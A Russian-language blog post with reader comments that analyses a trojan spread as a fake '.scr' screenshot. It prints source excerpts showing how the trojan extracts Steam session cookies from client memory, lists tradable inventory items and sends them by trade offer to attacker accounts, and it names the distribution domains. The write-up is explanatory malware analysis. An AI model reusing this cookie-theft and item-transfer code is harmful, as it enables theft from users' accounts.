Веб-разработчик
0,1
рейтинг
18 декабря 2014 в 12:11

Разработка → Троян, ворующий предметы из инвентаря Steam из песочницы



Хотя про этот троян известно достаточно давно, настоящую массовость он приобрел в конце ноября.
Интересно в нем то, что вместо обычной кражи логинов и паролей, от которой можно вполне просто защититься, он напрямую ворует предметы из инвентаря Steam.

Компания Valve давно в курсе проблемы, но каких-то особых действий за несколько месяцев так и не предприняла, хотя текущую волну можно без проблем остановить небольшими изменениями в клиенте Steam.

В инвентаре Steam хранятся предметы из нескольких популярных игр Valve, некоторые из которых могут стоить весьма внушительную (по меркам цветных пикселей) сумму. Также в нем хранятся предметы связанные с самим Steam (подарочные копии игр, фоны профиля, смайлы и т.п.).

Заражение


Заражение происходит следующим образом. Ничего не подозревающему пользователю приходит сообщение, в котором содержится ссылка на якобы скриншот инвентаря, с предложением обменяться предметами. После перехода по ссылке автоматически начинает загружаться файл .scr, имеющий иконку, которая выглядит как миниатюра изображения. Учитывая, что по-умолчанию в Windows показ расширения выключен, а если даже и включен, .scr вполне может быть воспринято как «screenshot», выглядит всё весьма правдоподобно.



После запуска файла троян распаковывает из ресурсов картинку и открывает её (на картинке действительно скриншот инвентаря или какого-нибудь предмета). Некоторые из модификаций прописываются в автозапуск.



Параллельно с этим троян извлекает cookies из памяти клиента Steam, делает запрос на steamcommunity.com для получения идентификатора сессии, ищет в инвентаре подходящие предметы и отправляет их через «Trade Request» на заранее подготовленные аккаунты злоумышленников.

К слову, во время написания этой статьи, я нашёл еще один вариант трояна (очевидно, основанный на публичных исходниках), который был написан немного иначе и обладал дополнительными функциями, например, рассылкой сообщений через список друзей.

Кстати, оригинальное имя собранного файла было «Maksim Steam Offer.exe», о чем мне любезно сказал рефлектор, а идентификатор профиля, на который идут украденные предметы — 76561198009197365. Домен, с которого троян распространялся (и на момент написания распространяется) — «puush-me.com» (для тех, кто решит поиграть в детектива, заходить из под виртуальной машины). И да, он там необфусцированный.

Несколько доменов, которые мне удалось собрать:

take-screen.org
fastscreen.org
my-screenshot.net
puush-me.com
picturesfast.net
screen-url.com

Что примечательно, большинство из них зарегистрированы у русских регистраторов.

Ковыряем исходники


Сам троян написан на C#, что весьма необычно для подобного рода ПО. В скачанных мною с просторов интернета исходниках было несколько файлов: WinApis.cs, содержащий несколько методов для работы с winapi.cs, Http.cs, содержащий методы для эмуляции запросов от клиента steam (вплоть до последнего хедера) и Program.cs, в котором и происходило всё действие.

Занимательно, что общий объем кода — всего около 500 строк.

Cookies из памяти клиента обе вариации трояна получают следующей регуляркой:

MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(preparedIDs);

Затем, используя полученные cookies, отправляется запрос на steamcommunity.com для получения идентификатора сессии, для чего в Http.cs есть отдельный (и весьма немаленький) метод.

Получив идентификатор, троян, используя api steamcommunity, получает содержимое инвентаря:

private static List<string[]> GetItems(string steamID, string appID)
{
    List<string[]> items = new List<string[]>();
    while (true)
    {
        string link = "profiles/" + steamID + "/inventory/json/" + appID + "/2/";
        string json = Http.SteamWebRequest(cookiesContainer, link, null, "");
        try
        {
            JObject inventory = JObject.Parse(json);

            if (((inventory.SelectToken("success") != null) && ((bool)inventory.SelectToken("success"))) &&
               (inventory.SelectToken("rgDescriptions")).First != null)
            {
                IJEnumerable<JToken> descriptionsBase = inventory.SelectToken("rgDescriptions").Values();

                foreach (JToken eachItem in inventory.SelectToken("rgInventory").Values())
                {
                    JToken infoAbout = descriptionsBase.Where(each => each["classid"].ToString() == eachItem["classid"].ToString()).First();
                    if (infoAbout["tradable"].ToString() == "1")
                    {
                        string[] item = new string[] { appID, eachItem["amount"].ToString(), eachItem["id"].ToString(), infoAbout["market_name"].ToString(), infoAbout["type"].ToString().ToLower() };
                        if (!items.Contains(item)) { items.Add(item); }
                    }
                }
            }
            break;
        }
        catch { return null; }

    }
    return items;
}

Cортирует его по заданным фильтрам:

listed = FilterByRarity(listed, "common,");

private static List<string[]> FilterByRarity(List<string[]> input, string filter)
{
    string[] filters = filter.Split(',');
    List<string[]> output = new List<string[]>();
    for (int i = 0; i < input.Count; i++)
    {
        for (int x = 0; x < filters.Length; x++)
        {
            string[] types = input[i][4].Split(' ');
            for (int c = 0; c < types.Length; c++)
            {
                if (types[c] == filters[x] && !output.Contains(input[i]))
                {
                    output.Add(input[i]);
                    break;
                }
            }
        }
    }
    return output;
}

И подходящие предметы (часто весьма недешевые) отправляются на предварительно подготовленные аккаунты:

private static string sentItems(string sessionID, string items, string[] Offer)
{
    return Http.SteamWebRequest(cookiesContainer,
         "tradeoffer/new/send",
         "sessionid=" + sessionID + 
         "&partner=" + Offer[0] +
         "&tradeoffermessage=&json_tradeoffer=%7B%22newversion%22%3Atrue%2C%22version%22%3A2%2C%22me%22%3A%7B%22assets%22%3A%5B" + items +
         "%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%2C%22them%22%3A%7B%22assets%22%3A%5B%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%7D&trade_offer_create_params=%7B%22trade_offer_access_token%22%3A%22" + Offer[2] + "%22%7D",
         "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
}

Мера предосторожности одна — используйте linux не открывайте присланные незнакомыми людьми ссылки и пользуйтесь антивирусами (они его прекрасно детектируют).
Андрей Викторов @akaluth
карма
11,0
рейтинг 0,1
Веб-разработчик
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (51)

  • –49
    Познавательно, лайкнуть не хватает кармы, так что просто + :)
    • +17
      C такими комментариями и никогда не хватит.
      • –12
        Ну да конечно, я уже понял :) вот только сами минусуете сами лишаетесь одобрямс под своми статьями… порочный кругс
  • –9
    Хороший способ.

    Я вот иногда спрашиваю у себя: а почему так? А потому, что добренькие M$-ы настолько розбаловали «бедного, несчастнтого, напуганного» пользователя, что он уже даже не знает наверняка, что он скачивает.

    Неотображение расширений файлов — один из шагов назад в компьютерной эволюции «обычных» пользователей. Смешно, но правда.
    • +20
      Отображение расширения, как я наблюдал неоднократно, пугает юзеров. Если какая-то достопочтенная тётушка или ребёнок (или просто беспечный человек) захотят назвать, к примеру, картинку «Моя фотка», то попытаются избавиться от расширения «Моя фотка.jpg». Собственно компьютера такой человек будет бояться, ведь «Моя фотка» уже не откроется и начнется паника «оно само сломалось». Но для продажи невыгодно делать систему, пугающую незнакомого с ней юзера. Но если бы файлы открывались и без расширения, то как тогда отличить картинку от исполняемого файла с иконкой картинки? Но даже если запретить выполнение по умолчанию везде, кроме определенных мест — то это выработает привычку держать все файлы (установщики, картинки и всё-всё-всё) там, где выполнение разрешено. Отсюда и растут корни, ведь потребители хотят «кликнуть и получить хорошо», а не «посмотреть безопсно ли что-то делать, прежде чем решить, надо ли оно мне».

      Кому надо — тот сам включает себе отображение расширений, и винить MS за решение скрытия расширения по умолчанию я бы не стал. А для беспечных людей есть антивирусы, и собственно те люди рядом, что установят софт для таких «тётушек», а пути для запуска излишеств потом перекроет.
      • +6
        Говорящий у вас ник, поэтому попрошу проделать то же действие (переименовать вместе с расширением) в Nautilus. Круто, правда? Расширения нет, но файл открывается нужным приложением! Значит проблема решаема.

        Я понимаю, как оно работает, понимаю, что не годится в общем случае (при переносе на другую систему, при отправке по сети и т.д. теряем предназначение файла), и сейчас уже задумываться над этим поздно, но всё-же MS могли бы это решить в самом начале, хотя бы на уровне оболочки.
        • +2
          Проблема скорее не в расширении и его отображении/сокрытии а в превьюшке.

          Тоесть если вы состряпаете нечто исполняемое, прилепив к нему картинку со скриншотом — оно и под линуксом тоже запросто запустится, выдерет у стим клиента куки и откроет вам gThumb с картиночкой.

          Линуксоидам тут скорее помогает то, что иконки к приложениям тут принято несколько иначе привязывать.
          • 0
            Да не суть важно как это реализовано в конкретной системе. Тут можно опуститься вплоть до поддержки на уровне ФС, прописывая назначение файла, факт в том, что на это наплевали на заре графических интерфейсов, кстати не только MS, в линуксовых DE это тоже сделано через одно место.
            • 0
              Ну да, можно хранить в ФС MIME-тип вместо расширения. А толку то? Даже сейчас, когда качаешь исполняемый файл из интернета, винда спрашивает «А вы точно хотите запустить непонятную программу из Интернета?». Эту фичу поддерживают все современные браузеры. Как видим, не помогает.
              • 0
                Я рассуждал не в контексте безопасности, а в контексте свободы выбора имени файла. Надо было изначально освобождать пользователя от расширений.

                С безопасностью сложнее.
          • +1
            Превьюшки побороть легко. Просто надо рисовать свой оверлей поверх иконки приложения. Шестеренку какую-нить, или стрелочку. Что-то, что явно показывает что этот файл будет исполнятся. Так же, как например рисуется оверлей на иконках ярлыков.
          • +2
            По умолчанию, новые файлы не имею прав на выполнение.
        • +1
          Я понимаю, как оно работает, понимаю, что не годится в общем случае (при переносе на другую систему, при отправке по сети и т.д. теряем предназначение файла)

          Это почему? Мне казалось, что Nautilus так же как и почти все остальные приложения в GNU/Linux для определения типа файла используют libmagic, а его вывод зависит от содержимого файла, которое не меняется от передачи по сети/на другую систему.
          • 0
            Например, скопировали вы файл на флешку человеку, и он попытался открыть в WinXP. Удастся ли ему это?

            Принудительно добавлять к имени файла расширение при передаче контента из системы наружу тоже нельзя, ведь, например, любой структурированный проект с массой внутренних файлов перевернётся с ног на голову.
          • 0
            Да, и сейчас MS не может добавить похожий функционал, так как потеряет обратную совместимость.
      • +1
        В той-же самой ubuntu всё грамотно реализовали:
        1) все файлы открываются без расширений
        2) у бинарников (кроме тех, что под WINE) иконка всегда одинаковая, в виде шестерёнки.
        PS.
        Плюс, в идеале можно сделать так, что если хочешь что-л скачаное запустить, то придётся руками выдать разрешение на запуск (в первый раз). Кстати, в windows почти так и сделано: скачаные исполняемые файлы добавляются в «список ненадёжности», вот только поставка бинарника в архиве позволяет его легко обойти…
    • +3
      Что делать, если в ОС вообще нет расширений?

      Ну т.е. нормальные люди пишут там всякие ".sh" или ".pl", но это совершенно необязательно.

      Или вы считаете, что такие системы находятся далеко позади в «эволюции» чего бы то ни было?
      • 0
        А xdg-open как определяет тип файла?
        • +1
          С помощью libmagic, анализирую содержимое файла и определяя по нему его mime type
  • 0
    Каким образом Вы получили исходники? (праздное любопытство)
    • 0
      В гугле нашёл сначала название трояна, а потом и исходники
      • 0
        Жаль, что так прозаично.
        • +2
          Ну, уже после этого я нашёл другую варацию, которая была вообще не обфусцирована, так что её исходники можно было получить одним лишь рефлектором
  • +6
    А может ли заражение произойти когда windows генерит Thumbnail для файла?
    • +1
      В данном случае — нет, но вообще, если найти 0-dayчик, то да.
    • 0
      Я точно помню что даже был один такой года 4 назад. Но, простите, не могу найти инфу по нему. Узнал о нём на хабре.
      • 0
        Да, была такая уязвимость.
        Вообще, помню какую-то dll-ку, которая показывала splash screen при нажатии на ней правой кнопкой. Думаю, тоже какая-то уязвимость использовалась.
  • 0
    Спасибо! Попробую воспользоваться данной статьей чтобы вернуть мои пиксели в Steam :)
    • 0
      Вернуть пиксели можно через службу поддержки, она в стиме отзывчивая и понимающая
    • +2
      Простите, но что за пиксели?
      • +1
        Шмот. Они нематериальны и всё что было у человека — пиксели.
        • 0
          Ох… спасибо.
        • 0
          Не пиксели, а байты, которые хранились на вполне материальном серваке)
          • +1
            Не байты, а электроны, которые вполне сами материальны.
            • +3
              image
  • +3
    — не открывайте присланные незнакомыми людьми ссылки
    Проблема в том, что зачастую эти трояны начинают рассылку по списку друзей и присылающие оказываются весьма «знакомыми» людьми.
    • +1
      Антиспам все-таки не помешает, так что еще один камень в огород Valve. Весьма подозрительно, когда человек отправляет всему списку друзей, который может быть немаленьким, одинаковое сообщение.
      • +9
        Весьма подозрительно, когда человек отправляет всему списку друзей, который может быть немаленьким, одинаковое сообщение.
        Go в Контру, я создал!
        • 0
          Ну не двести же человек
          • +5
            Из двухсот хорошо, если пятеро откликнутся — у остальных работа, пьянка, жена, война, сессия и т.п.
            • 0
              Да, но не за 3 секунды же реальный пользователь отправит эти 200 сообщений
              • 0
                Обычный пользователь будет отправлять дольше. А ленивый, но умный — за 3 секунды…
  • +1
    К сожалению политика Valve такова, что всю ответственность за аккаунт (За его безопасность в основном) несет пользователь, так что и поведение у них соответствующее. Единственное, что они делают — предупреждают людей о том, что, мол, в интернетах сплошь мошенники и нужно быть осторожным. Вернуть пиксели можно только один раз (и то, если повезет: в SSA сказано, что никто ничего вам не должен в случае потери аккаунта/вещей). А большинство мошеннических схем вымирали сами по себе из-за того, что все про них узнавали и уже просто никто не вёлся

    Так что остается только запастись попкорном и наблюдать за неподкованными «Подписчиками» (Именно так их называют в SSA), которые будут страдать от своей же глупости.
    • –1
      Я однажды уже терял свой акк, но слава Гейбу что через саппорт я таки смог его вернуть (долго не заходил, потом обнаружил изменённый пароль и то, что кто-то заходил на этот акк без моего ведома).
      • 0
        Аккаунты то они восстанавливают при наличии доказательств. С пикселями дела обстоят немного иначе. Насколько мне известно, в случае восстановления аккаунта через поддержку, производится откат оного до определенной даты. Один хороший знакомый восстановил аккаунт, который был украден и все вещи с него были проданы на торговой площадке. Так когда его восстановили, все вещи были на месте, но в кошельке были лишние ~1,5к рублей, что эквивалентно цене его инвентаря. Таким образом получается, что если ваш твой аккаунт был взломан, а вещи с него были проданы злоумышленником на торговой площадке, при восстановлении через поддержку вы получаете назад и аккаунт с вещами, и лишнюю «копейку» на счёт. Вообще это вполне себе логично, что откат баланса не проводится, но всё же это забавная лазейка.
  • 0
    В статье напрасно Valve ругают. Буквально на днях появилось такое предупреждение при продаже лута:

    Примечание: в течение ближайших дней предметы, купленные для Counter-Strike: Global Offensive через игру или Торговую площадку Сообщества, будут недоступны для продажи и обмена на неделю после покупки. Мы делаем это в целях борьбы с обманами и мошенничеством, а также для того, чтобы поддерживать здоровую и безопасную экономическую систему в Counter-Strike: Global Offensive.
    • 0
      Я не думаю, что кто-то будет в здравом уме продавать краденные предметы на торговой площадке, но всё равно, хоть какая-то да мера.
  • 0
    Присылали мне такой вирус, не смог под макосью запустить :( Поленился сам изучить что он собой представляет
  • 0
    Проверил whois доменов и удивился — относительно старый бот (ведёт деятельность примерно с 7 августа 2014) уже расширил поле деятельности до таких вот троянов, а начал со спама фишинговыми ссылками. Растёт.
  • –1
    Хераси он развивается не слабо так.
    С подобным сам недавно столкнулся сейчас изучаю тему.
    • 0
      Вообще, стим это отчасти пофиксил, введя обязательное подтверждение трейдов по почте, а кто это отключает — сами себе злобные буратины.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.